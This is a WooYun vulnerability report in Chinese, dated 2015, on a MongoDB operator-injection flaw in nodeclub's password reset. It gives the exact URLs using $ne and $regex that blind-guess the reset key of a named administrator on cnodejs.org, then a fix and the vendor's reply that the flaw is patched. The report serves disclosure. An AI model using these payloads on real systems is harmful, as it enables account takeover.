漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0112230
漏洞标题:nodeclub注入漏洞可重置用户密码 (mongodb盲注,cnodejs.org为例)
相关厂商:cnodejs.org
漏洞作者: 多多关照
提交时间:2015-05-05 20:52
修复时间:2015-08-03 20:58
公开时间:2015-08-03 20:58
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经修复
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-05-05: 细节已通知厂商并且等待厂商处理中
2015-05-05: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向核心白帽子及相关领域专家公开
2015-07-09: 细节向普通白帽子公开
2015-07-19: 细节向实习白帽子公开
2015-08-03: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
详细说明:
这个nodeclub(https://github.com/cnodejs/nodeclub/)可能用的人不多,弄着玩一下
从github上下载nodeclub的源码。
\controllers\sign.js
可以看到,key和name未经判断进入了 User的 getUserByNameAndKey
\proxy\user.js
为了测试这个问题,首先,我们把目标定为 cnodejs 的管理者之一 alsotang,从他的github上可以知道他的邮箱是 alsotang@gmail.com
然后在
https://cnodejs.org/search_pass
找回密码,
接着,根据之前的问题,不难简单的构造出以下请求。
https://cnodejs.org/reset_pass?name=alsotang&key[$ne]=111111111
其中,name是目标用户名,让key不等于1111111,
此时会返回一个正常的页面。
如果,我们随便设置一个key,例如:
https://cnodejs.org/reset_pass?name=alsotang&key=111111111
则会返回一个错误的页面:
如此一来,我们就可以对key参数通过 $regex来进行盲注。
例如:
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5
返回正常
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^6
返回错误
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5f
返回正常
....
测试代码:
见“测试代码”部分。
运行程序后,
跑出的key:
然后拿着key去重置密码,密码被重置为 wooyun,登录后~~
漏洞证明:
见:https://cnodejs.org/user/alsotang 个人介绍。
修复方案:
exports.reset_pass = function (req, res, next) {
var key = req.query.key;
var name = req.query.name;
..
<-- 做处理,例如 validator.trim(req.query.key);
版权声明:转载请注明来源 多多关照@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2015-05-05 20:57
厂商回复:
一年前我与朋友干了这单:http://www.wooyun.org/bugs/wooyun-2010- 。也是 mongodb 的注入,没想到今天自己也被日了。T T
不过能被 @路人甲 黑,真是荣幸啊!
最新状态:
2015-05-05:已经修复啦~
2015-05-05:咦?上面的网址怎么出不来 http://www.wooyun.org/bugs/wooyun-2010-086474